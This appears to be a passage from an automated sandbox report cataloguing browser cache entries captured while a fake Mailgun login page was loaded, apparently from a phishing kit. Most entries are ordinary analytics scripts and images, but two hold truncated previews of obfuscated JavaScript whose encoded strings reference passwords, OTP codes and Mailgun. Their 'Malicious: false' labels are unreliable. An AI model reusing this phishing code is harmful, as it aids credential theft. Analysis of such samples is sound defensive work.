C75%2C65%2C105%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C106
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2538), with no line terminators
Category:	downloaded
Size (bytes):	2538
Entropy (8bit):	5.897355033759568
Encrypted:	false
SSDEEP:	48:Ego2eJJn6IzUtJQSc8aQqSG4v/q7SWWdCEqjWkt0830Sd226b4vVr6:aJd6SUtJfNrVlCWWWdtqjZ70Sj69
MD5:	B809090BC95C208A438AB06A95A0F7CB
SHA1:	5048CA58DADC4E884D233BF624352F8291729DEA
SHA-256:	E51D21013F49072FBC096F0F807B35E28977B51CC8BA0A1D38952183E950797F
SHA-512:	06D7D4AF6BBF6B471418839E148C0DD0056D3EE1A9DEA608AE9E88E29953A0FA36C44B066DA0E04B76D1180FD0C1392EE1BA8978730B7D4FC75A820E95031E60
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/1005952947/?random=1685205259095&cv=11&fst=1685205259095&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],p==null){k=null;break a}k=p}var r=k&&k[610401301];g=r!=null?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&a.indexOf(d)!=-1}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return a.indexOf(d)!=-1};function y(){return g?!!t&&t.brands.length>0:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;(b=d.indexOf("fmt",b))>=0&&b<a;){var c=d.charCodeAt(b-1);if(c==38\|\|c==63)if(c=d.charCodeAt(b+3),!c\|\|c==61\|\|c==38\|\|c==35)b

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
URL:	https://c.6sc.co/
Preview:	<p></p>

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (61063), with CRLF line terminators
Category:	downloaded
Size (bytes):	61065
Entropy (8bit):	4.9861881910151515
Encrypted:	false
SSDEEP:	1536:ag7sheakyCCkm0xwq6UZ3/S/T20/CHaceqtS+LbtEAHfVfJXZbewEMJAclpru+h1:agTakyCCf0xy+GT20/2eYS+LbtEAHfVD
MD5:	B203305D58CDA61BAA540B461E2ABA64
SHA1:	9C1CC43B5FDAFF0C95A486B8D13005D9E3C3B5B9
SHA-256:	024E55B57D7D508EE64AAEA0FBEAF15F6FE10BA715352173E268E8F21117DB78
SHA-512:	A3660136B99B49A761C4E1BC392E4959763618D297C72281D5FDE44FCB3CD010ACB2EF0C30E8269CC2EBC881E81387B8BF9A37E04A6BC0559766DE2C02070372
Malicious:	false
Reputation:	low
URL:	https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/
Preview:	<script language=javascript>(function(_0x1c5d51,_0x4b88f3){function _0x5984f0(_0x16037b,_0x5a84c1,_0x4d0daa,_0x1e3739,_0xf1465b){return _0x414d(_0xf1465b-0x214,_0x4d0daa);}function _0x494283(_0x465b56,_0x26f9ce,_0x564ab0,_0x22cbde,_0x3c8afe){return _0x414d(_0x22cbde-0x33d,_0x3c8afe);}var _0x4eb5ab=_0x1c5d51();function _0x29cc0c(_0x1a6528,_0x53a41d,_0x5e9d62,_0x11593b,_0x3c97c1){return _0x414d(_0x11593b-0x2df,_0x1a6528);}function _0xed359a(_0x13db45,_0x5be4f7,_0x4745dc,_0x6ff0cc,_0x1c2261){return _0x414d(_0x5be4f7-0x224,_0x4745dc);}function _0x3e4d9(_0xae5e5e,_0x270aa9,_0x551b85,_0x666006,_0x2759bc){return _0x414d(_0x270aa9- -0x2f9,_0x551b85);}while(!![]){try{var _0x24f935=-parseInt(_0x29cc0c(0x5c3,0x5f4,0x5f6,0x572,0x604))/(0x192d+0x229a0x1+-0x3bc6)(parseInt(_0x29cc0c(0x536,0x5ad,0x549,0x5b3,0x56e))/(-0xab0x7+0x246a+-0x1fbb))+-parseInt(_0xed359a(0x4e9,0x456,0x4e4,0x441,0x4ac))/(-0x19a7+-0x10x24cd+0x3e77)(-parseInt(_0x494283(0x4fd,0x553,0x5a1,0x574,0x4fc))/(0x4d6+-0xc86-0x3+-0x2a6

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	5260
Entropy (8bit):	4.215592630971274
Encrypted:	false
SSDEEP:	96:jW6J/u1onLJDJqvFvin4RpB14Vj7ynhvUhQyDk4RbZH58E2F0y94od:jWWm+ndDEa4RX+uUd5x4E2D
MD5:	9AFD1C80CB00CFD01C6AF5C43CE0136F
SHA1:	B3BCB5D2E86BFA967B22B2BB9057E9E09B3DABB9
SHA-256:	CB1DA2F299572BF2ACCE785FEF2EE323C1C39AE079FF8DB5C85B6486DD71E0D4
SHA-512:	C3345B00BB68217C45AF65858F8CD1B2ED01F8D2442438C92038CA1E30A155F6B797C0FC2B45AE09E306B99D3DA5B2A7A6721EE24D50D3D151A491C576D34237
Malicious:	false
Reputation:	low
URL:	https://login.mailgun.com/login/static/logo-mailgun-sinch.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_1" xmlns="http://www.w3.org/2000/svg" width="397" height="116" viewBox="0 0 397 116">. <defs>. <style>.cls-1{fill:none;}.cls-2{fill:#eb5454;}</style>. </defs>. <path d="m128.44,96v-56h12.16l17.84,35.52,17.6-35.52h12.16v56h-10.24v-38.64l-15.6,30.64h-8.08l-15.6-30.64v38.64h-10.24Z"/>. <path d="m208.52,96.96c-3.41,0-6.21-.55-8.4-1.64-2.19-1.09-3.81-2.55-4.88-4.36-1.07-1.81-1.6-3.81-1.6-6,0-3.68,1.44-6.67,4.32-8.96,2.88-2.29,7.2-3.44,12.96-3.44h10.08v-.96c0-2.72-.77-4.72-2.32-6-1.55-1.28-3.47-1.92-5.76-1.92-2.08,0-3.89.49-5.44,1.48-1.55.99-2.51,2.44-2.88,4.36h-10c.27-2.88,1.24-5.39,2.92-7.52,1.68-2.13,3.85-3.77,6.52-4.92,2.67-1.15,5.65-1.72,8.96-1.72,5.65,0,10.11,1.41,13.36,4.24,3.25,2.83,4.88,6.83,4.88,12v24.4h-8.72l-.96-6.4c-1.17,2.13-2.81,3.89-4.92,5.28-2.11,1.39-4.81,2.08-8.12,2.08Zm2.32-8c2.93,0,5.21-.96,6.84-2.88,1.63-1.92,2.65-4.29,3.08-7.12h-8.72c-2.72,0-4.67.49-5.84,1.48-1.17.99-1.76,2.2-1.76,3.64,0,1.55.59,2

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 1056, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	182211
Entropy (8bit):	7.975194787364681
Encrypted:	false
SSDEEP:	3072:+tKJxqXzNv3147PWyhm7tEyOxlKLkDYmXlfVwdJTilUrLwsrUPRGr+saqYYUTJ2I:YzNf14v8SDgkcm/CcALjrQ4baqDJMh2o
MD5:	8FD8D72DFCA13BC80086DE44A124B108
SHA1:	4223076563319948B2E6B3DB84AE90B151D709A9
SHA-256:	789B45EDA067D65646FF665C1C2446D75DB4C6A2EAB5C8DBAAA9162E90691EBD
SHA-512:	7C2AED9F5A05577364D68A26A97B99C04A56F8519A0226B4522E1CC4ADD3F8DDCEDCED17F5A1B9A8DCA2FC9AEA852FCFE3ECDDF01743231C3DE4D83F930A3378
Malicious:	false
Reputation:	low
URL:	https://login.mailgun.com/login/static/mailgun-login-leftrail.png
Preview:	.PNG........IHDR....... ......1.s....pHYs...%...%.IR$.....sRGB.........gAMA......a....XIDATx......u....=ygs..... ..$.JV:..e.-..l.Q>.A..m..d.l..,*3...s.e\..9.4..Q...(...zz6p{g~...N7.(..._.z.JQ....'P[...o$..........Y.y..pf...MJ.[.}...[...........z.^..7/.9q......'.s......N$.....[xm{.............D2..P..<M.#.........S...n[.&......@3.=.......4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4........

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/attribution_trigger?pid=&time=1720010325866&url=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F
Preview:	{}

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	82
Entropy (8bit):	4.670496744270965
Encrypted:	false
SSDEEP:	3:SdXpFwRbPXXKXCmo8QXQIMKFtpNvfn:SjF8LaXTovXQIVtjvfn
MD5:	9FD9DDA1F7EAC845FCB025DEB2C1B23A
SHA1:	806FCE5D42EDDA2CF00F9C0B5FA60EAC4ED269C3
SHA-256:	993CA20FBC09132A83E29573840E393B09135424ED7DC1807E974D81819F2D40
SHA-512:	1C4272DD2AD10C0F23D08B8A6DF55B7A2A7E3A70552587D5B6D208DE0D696EB4986F1F7F4DFAC0B884316B52E97337A28E4A8AD465081FD961135CD18CE10E0C
Malicious:	false
Reputation:	low
URL:	https://tag.clearbitscripts.com/v1/pk_54258638e2140e223e87c6c868ec9a93/tags.js
Preview:	;(function (w) {. console.error("Invalid tags.js configuration: 403").})(window);

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57671), with no line terminators
Category:	downloaded
Size (bytes):	57671
Entropy (8bit):	5.406436595808325
Encrypted:	false
SSDEEP:	1536:buM99dAoLYPNh7S5BTF94zGnSJpSFD2No5/g:buMdAVNiTF94zGnSJpSFDr5/g
MD5:	BBBCF811D8437A575D796A4C1E5D4FAD
SHA1:	CCE821AAE4F2B8982D9C08B308FB5306945EA68E
SHA-256:	4D15FF2317E16CCD8CA1D3248FEA7D91130E022369BB032824A84AD9967064DF
SHA-512:	6D0E3E9079DB4C175F0E8EC0279E9A89DF786D226685C0764AB20179D69E19CA269E8CC40646A97D31F95597654EC869472358BB72071011DF3410FC32E501C0
Malicious:	false
Reputation:	low
URL:	https://static.ads-twitter.com/uwt.js
Preview:	!function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=globalThis.crypto),!r&&"undefined"!=typeof window&&window.msCrypto&&(r=window.msCrypto),!r&&void 0!==n.g&&n.g.crypto&&(r=n.g.crypto),!r)try{r=n(2480)}catch(t){}var i=function(){if(r){if("function"==typeof r.getRandomValues)try{return r.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof r.randomBytes)try{return r.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")},o=Object.create\|\|function(){function t(){}return function(e){var n;return t.prototype=e,n=new t,t.prototype=null,n}}(),a={},c=a.lib={},u=c.Base={extend:function(t){var e=o(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 1056, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	182211
Entropy (8bit):	7.975194787364681
Encrypted:	false
SSDEEP:	3072:+tKJxqXzNv3147PWyhm7tEyOxlKLkDYmXlfVwdJTilUrLwsrUPRGr+saqYYUTJ2I:YzNf14v8SDgkcm/CcALjrQ4baqDJMh2o
MD5:	8FD8D72DFCA13BC80086DE44A124B108
SHA1:	4223076563319948B2E6B3DB84AE90B151D709A9
SHA-256:	789B45EDA067D65646FF665C1C2446D75DB4C6A2EAB5C8DBAAA9162E90691EBD
SHA-512:	7C2AED9F5A05577364D68A26A97B99C04A56F8519A0226B4522E1CC4ADD3F8DDCEDCED17F5A1B9A8DCA2FC9AEA852FCFE3ECDDF01743231C3DE4D83F930A3378
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....... ......1.s....pHYs...%...%.IR$.....sRGB.........gAMA......a....XIDATx......u....=ygs..... ..$.JV:..e.-..l.Q>.A..m..d.l..,*3...s.e\..9.4..Q...(...zz6p{g~...N7.(..._.z.JQ....'P[...o$..........Y.y..pf...MJ.[.}...[...........z.^..7/.9q......'.s......N$.....[xm{.............D2..P..<M.#.........S...n[.&......@3.=.......4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4.........4........

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	302289
Entropy (8bit):	5.605626728466531
Encrypted:	false
SSDEEP:	3072:sd43QsdaiJ9iVVZLQOFYhf3+0UjHgvLMzU467JXDBin0bukMW/vA8Lm/QhPi:q4dd+VV9QOF8+EHVin0qkMW/vA8Lm/ua
MD5:	E87368B38F21B49ABAED1B48509DDEC5
SHA1:	E8CFB5BFC0C92DAB71F227C626D21EF4D58B107E
SHA-256:	97F6DE94DF9477C7E76C3DCAA3A66CAF2C63F5484E42B36C35B2FADAAB834C0B
SHA-512:	CC5A4A2381A1A4C48A8B20E1FC6EA14C2C83FC6559339A4CAE66DE650A4F111BAA2C66742CF93991471E51D7F263CB0E04AB8F57CDC2A143F5914D0CD2BF5E15
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-PZB2JSMCGC&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"3",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_cross_domain","priority":23,"vtp_rules":["list","mailgun\\.com"],"tag_id":106},{"function":"__ogt_ip_mark","priority":13,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"vtp_enableIpRegex":true,"tag_id":108},{"function":"__ogt_1p_data_v2","priority":13,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32000)
Category:	downloaded
Size (bytes):	67968
Entropy (8bit):	5.348109910008874
Encrypted:	false
SSDEEP:	1536:AS5algTNw/Zi54APLnQLkEWnPWgh4SP0UJ4kPdnJdZX10XAooEQFGuieiua:d+E9d04pQe8
MD5:	D065670ABE5CBA671634796AED7B4908
SHA1:	96D7545E4000FF822D4CD9531D1CEDB117CF4283
SHA-256:	4D3DAB569C7B9E24BA3484873769A6B4A34BD3AB4EF6FF53B1C5A5C60F7D5663
SHA-512:	C264423B3FF3434183BC3D0DB15848723DCB16F4CAA529EDCFC46187569103FCC949F84D8B0D96CAFF1615B11783FA01FC9500B965A3B977F5C3DFE2E7F1798D
Malicious:	false
Reputation:	low
URL:	https://j.6sc.co/6si.min.js
Preview:	!function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},S={},k={},F={},T={},C={},A={},x={},I={},M={},P={},N={},L={},D=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===arguments.length)for(var i,r=0,o=e.length;r<o;r++)!i&&r in e\|\|(i\|\|(i=Array.prototype.slice.call(e,0,r)),i[r]=e[r]);return t.concat(i\|\|Array.prototype.slice.call(e))},U=this&&this.__assign\|\|function(){return U=Object.assign\|\|function(t){for(var e,n=1,i=arguments.length;n<i;n++){e=arguments[n];for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])}return t},U.apply(this,arguments)},O=this&&this.__awaiter\|\|function(t,e,n,i){function r(t){return t instanceof n?t:new n(function(e){e(t)})}return new(n\|\|(n=Promise))(function(n,o){function a(t){try{u(i.next(t))}catch(t){o(t)}}function s(t){try{u(i.throw(t))}catch(t){o(t)}}function u(t){t.done?n(t.value):r(t.value).then(a,s)}u((i=i.apply(t,e\|\|[])).next())})},V=this&&this.__generator\|\|funct

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64347)
Category:	downloaded
Size (bytes):	226870
Entropy (8bit):	5.452936493117246
Encrypted:	false
SSDEEP:	3072:EBLeyZWZTBUIncwuP0bteuvQ+AMPpgArl0xYu5GpJnsO:EBLeyURBU7P0bvQQGArHu5GpJnf
MD5:	072B2C3ACF701DD53DF6CE69EA15C1A7
SHA1:	9EEFC6F1A848B8F10498B7DC298AF62646465F5E
SHA-256:	63BAE03AA97278ACB1D6F7863E593999BBDC5D280D2FA5A3050F234CE5EEE850
SHA-512:	30C4CE7EFC91156E8258E89BCE6ABAD64893E3304FEA99C64AF1C46DD2CF8F57CB154CC76FF5962BEF423C321707BD53ABBDAF42805117F6FFA870E91D1DC1C5
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/en_US/fbevents.js
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2500), with no line terminators
Category:	downloaded
Size (bytes):	2500
Entropy (8bit):	5.88212541930264
Encrypted:	false
SSDEEP:	48:Ego2eJJn6IzUtJQSc8aQqSG4v/q7SWWdCEqjWkt08405z7bb7xvY9o6:aJd6SUtJfNrVlCWWWdtqjZc0V/U5
MD5:	3D87B62A2B6B772589A53604A597FE1E
SHA1:	E9B2DB8E26DCFD7A7BB157F05F809DECA6435172
SHA-256:	EAE17AE306287584E654DCB5152C97FD73BDF6BA3F780AA7043806E1DACDAA60
SHA-512:	82C6662317236F6D72188FAE50599EC9176504930D00412C7F05B9263C11498024535F9C94DA2721B15757B21A1957E1907A8F908469EF4830017A215E9CE55A
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/1005952947/?random=1685204592833&cv=11&fst=1685204592833&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=https%3A%2F%2Flogin.mailgun.com%2Flogin%2F&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&auid=46058530.1685204589&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],p==null){k=null;break a}k=p}var r=k&&k[610401301];g=r!=null?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&a.indexOf(d)!=-1}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return a.indexOf(d)!=-1};function y(){return g?!!t&&t.brands.length>0:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;(b=d.indexOf("fmt",b))>=0&&b<a;){var c=d.charCodeAt(b-1);if(c==38\|\|c==63)if(c=d.charCodeAt(b+3),!c\|\|c==61\|\|c==38\|\|c==35)b

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	267172
Entropy (8bit):	4.536370744185938
Encrypted:	false
SSDEEP:	6144:c5hJjG0a0gjOErt3lZtBr1wfA/ZumFdsDyltwyqPw3UXNME1a5IkG+UNSoYdnQPe:c3dGF0EO6lZtJ1wYfFd8yltw3Pw3+Mx1
MD5:	9A0D454CD9CD30652650F5C4764597D2
SHA1:	C25111639D80D0989AF1225A28E4F31C25C9FD37
SHA-256:	EB9AA7ADFF5367D798FB52FAE4F6E4BE347392EE8DD44DE799E80715A2513F9D
SHA-512:	B9902A7F25CBEBDE944503FD99797DCC12F82D417F9BF52A5D6C2CC25A359ED454F63F843D26B696200C245905B3B276EDECE880A15CEAE404A2C3D58349FB2A
Malicious:	false
Reputation:	low
URL:	https://1b3rmrwdw.buzz/gun/index.js
Preview:	function _0x30e8(){var _0x7d92e1=['%3C/i','ewift','/labe','cs.mi','n_id%','iOnRy','ore%2','h8xgO','nish%','sinch','52FC%','ed%20','ale%3','Bcv%3','conso','fff%2','%20yo','iewth','_w%3D','2text','-me%2','un%20','UIsPx','e%20e','3Cifr','ass%3','D64%2','Izrpg','ete%3','mailg','27tes','uth-i','ElzIi','%20En','/a%3E','m%252','otp-c','0%3Cd','me%3D','252FA','3Do57','x%22%','20Tag','nts.j','es.%0','ush%2','oginF','uab%3','5D%2C','sNonB','p__la','87%22','rrort','-a922','eyJvc','0%3Ca','ime%3','20%A9','passw','.js%2','s.js%','insig','g-id%','D%22w','.goog','warn','t.%20','d.par','ipt%3','e%26a','3wM%2','s%3D%','0auto','p%3DW','%29%5','_labe','stati','-ad-i','remai','93%25','tent%','aph%2','icy%3','om/lo','1--%2','Bhn%3','8%22i','rel%3','22otp','alyti','a%3E%','3DON%','ation','._fbq','hod%3','%7Bb.','%20vi','JWwRE','n-log','D%22c','ublec','2step','mFjeV','jYMep','%20ht','d%3DT','DO%3A','252FN','//www','2Cd%2','37052','Fbci%','4JPvf','ord%2','-%3E%','cQAyK','46058','22Scr','3%26a','Label','%29%3'

Chrome Cache Entry: 172

Download File

